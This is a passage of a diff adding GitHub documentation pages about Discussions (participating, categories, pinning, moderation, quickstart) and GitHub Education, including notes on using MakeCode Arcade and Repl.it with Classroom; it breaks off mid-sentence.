content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**. !["Your discussions" in drop-down menu for profile photo on {% data variables.product.product_name %}](/assets/images/help/discussions/your-discussions.png) 1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**. !["New category" button above list of discussion categories for a repository](/assets/images/help/discussions/click-new-category-button.png) 1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ![Emoji, title, description, and discussion format for new category](/assets/images/help/discussions/edit-category-details.png) 1. Click **Create**. !["Create" button for new category](/assets/images/help/discussions/new-category-click-create-button.png) ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}. ![Edit button to the right of category in list of categories for a repository](/assets/images/help/discussions/click-edit-for-category.png) 1. {% data reusables.discussions.edit-category-details %} ![Editing emoji, title, description, and discussion format for existing category](/assets/images/help/discussions/edit-existing-category-details.png) 1. Click **Save changes**. !["Save changes" button for existing category](/assets/images/help/discussions/existing-category-click-save-changes-button.png) ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}. ![Trash button to the right of category in list of categories for a repository](/assets/images/help/discussions/click-delete-for-category.png) 1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting. ![Drop-down menu for choosing new category when deleting an existing category](/assets/images/help/discussions/choose-new-category.png) 1. Click **Delete & Move**. ![Drop-down menu for choosing new category when deleting an existing category](/assets/images/help/discussions/click-delete-and-move-button.png) 108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**. !["Pin discussion" in right sidebar for discussion](/assets/images/help/discussions/click-edit-pinned-discussion.png) ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**. !["Pin discussion" in right sidebar for discussion](/assets/images/help/discussions/click-pin-discussion.png) 1. Optionally, customize the look of the pinned discussion. ![Customization options for a pinned discussion](/assets/images/help/discussions/customize-pinned-discussion.png) 1. Click **Pin discussion**. !["Pin discussion" button under customization options for pinned discussion](/assets/images/help/discussions/click-pin-discussion-button.png) ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**. !["Pin discussion" in right sidebar for discussion](/assets/images/help/discussions/click-edit-pinned-discussion.png) 1. Customize the look of the pinned discussion. ![Customization options for a pinned discussion](/assets/images/help/discussions/customize-pinned-discussion.png) 1. Click **Pin discussion**. !["Pin discussion" button under customization options for pinned discussion](/assets/images/help/discussions/click-pin-discussion-button.png) ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**. !["Unpin discussion" in right sidebar for discussion](/assets/images/help/discussions/click-unpin-discussion.png) 1. Read the warning, then click **Unpin discussion**. !["Unpin discussion" button beneath warning in modal](/assets/images/help/discussions/click-unpin-discussion-button.png) ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**. !["Transfer discussion" in right sidebar for discussion](/assets/images/help/discussions/click-transfer-discussion.png) 1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to. !["Choose a repository" drop-down, "Find a repository" search field, and repository in list](/assets/images/help/discussions/use-choose-a-repository-drop-down.png) 1. Click **Transfer discussion**. !["Transfer discussion" button](/assets/images/help/discussions/click-transfer-discussion-button.png) ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**. !["Delete discussion" in right sidebar for discussion](/assets/images/help/discussions/click-delete-discussion.png) 1. Read the warning, then click **Delete this discussion**. !["Delete this discussion" button beneath warning in modal](/assets/images/help/discussions/click-delete-this-discussion-button.png) ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock. ![Lock discussion](/assets/images/help/discussions/unanswered-discussion.png) 1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**. ![Public settings button](/assets/images/help/discussions/public-repo-settings.png) 1. Under "Features", click **Set up discussions**. ![Set up a discussion button under "Features" for enabling or disabling discussions for a repository](/assets/images/help/discussions/setup-discussions-button.png) 1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**. !["Start discussion" button](/assets/images/help/discussions/new-discussion-start-discussion-button.png) ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen. ![MakeCode Arcade version control functionality](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar. ![Repl.it version control functionality](/assets/images/help/classroom/ide-replit-version-control-button.png) For more information about using Git on Repl.it, see the [Repl.it + Git 